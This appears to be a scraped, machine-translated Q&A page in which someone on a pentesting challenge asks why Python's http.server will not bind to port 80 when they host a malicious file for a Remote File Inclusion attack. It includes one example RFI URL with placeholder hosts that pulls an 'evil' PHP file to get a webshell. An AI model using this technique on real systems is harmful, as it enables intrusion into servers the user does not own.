简体   繁体   English

python http.server 模块在远程文件包含练习中无法通过端口 80 工作

[英]python http.server module not working over port 80 in Remote File Inclusion exercise

I am doing a pentesting challenge and I am working on one machine that requires gaining access through a Remote File Inclusion vulnerability.我正在做一个渗透测试挑战,我正在一台需要通过远程文件包含漏洞获得访问权限的机器上工作。 In the past I was able to get a webshell by including a malicious file on my machine.过去,我可以通过在我的机器上包含一个恶意文件来获得一个 webshel​​l。 I did so using the python http.server modules (sudo python3 -m http.server 80) and this worked absolutely fine.我使用 python http.server 模块(sudo python3 -m http.server 80)这样做了,这工作得非常好。 However, after the first time of doing so successfully, I have attempted to run this command again and every time I do I get the following error:但是,在第一次成功执行此操作后,我尝试再次运行此命令,每次执行时都会出现以下错误:

File "/usr/lib/python3.7/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.7/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.7/http/server.py", line 1262, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.7/http/server.py", line 1230, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.7/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.7/http/server.py", line 137, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.7/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

This appears to be telling me that something is already using port 80 however when I close web browsers, check using lsof -i :80, even restart my machine it still never works.似乎告诉我有些东西已经在使用端口 80 但是当我关闭网络浏览器时,使用 lsof -i :80 检查,即使重新启动我的机器它仍然无法正常工作。 I have also attempted to include the file over a different port ( http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php ) but this doesn't work.我还尝试通过不同的端口( http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php )包含该文件,但这并没有不行。 Can anybody give any advice on how to move forward?任何人都可以就如何前进提供任何建议吗? Either on why the http-server wouldn't be working on port 80 ever or why an RFI would only work over port 80?为什么 http-server 永远不会在端口 80 上工作,或者为什么 RFI 只能在端口 80 上工作? I can't really think of anything else I can try at this point.在这一点上,我真的想不出还有什么我可以尝试的。

I guess you are using Kali Linux or something like that.我猜你正在使用 Kali Linux 或类似的东西。 It contains apache/nginx preinstalled, so try following before using python http server:它包含预装的 apache/nginx,所以在使用 python http 服务器之前尝试以下操作:

systemctl stop nginx
systemctl stop apache

(requires root) (需要root)

Port is clearly in use, so it can help if nginx or apache is installed.端口显然正在使用中,因此如果安装了 nginx 或 apache,它会有所帮助。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM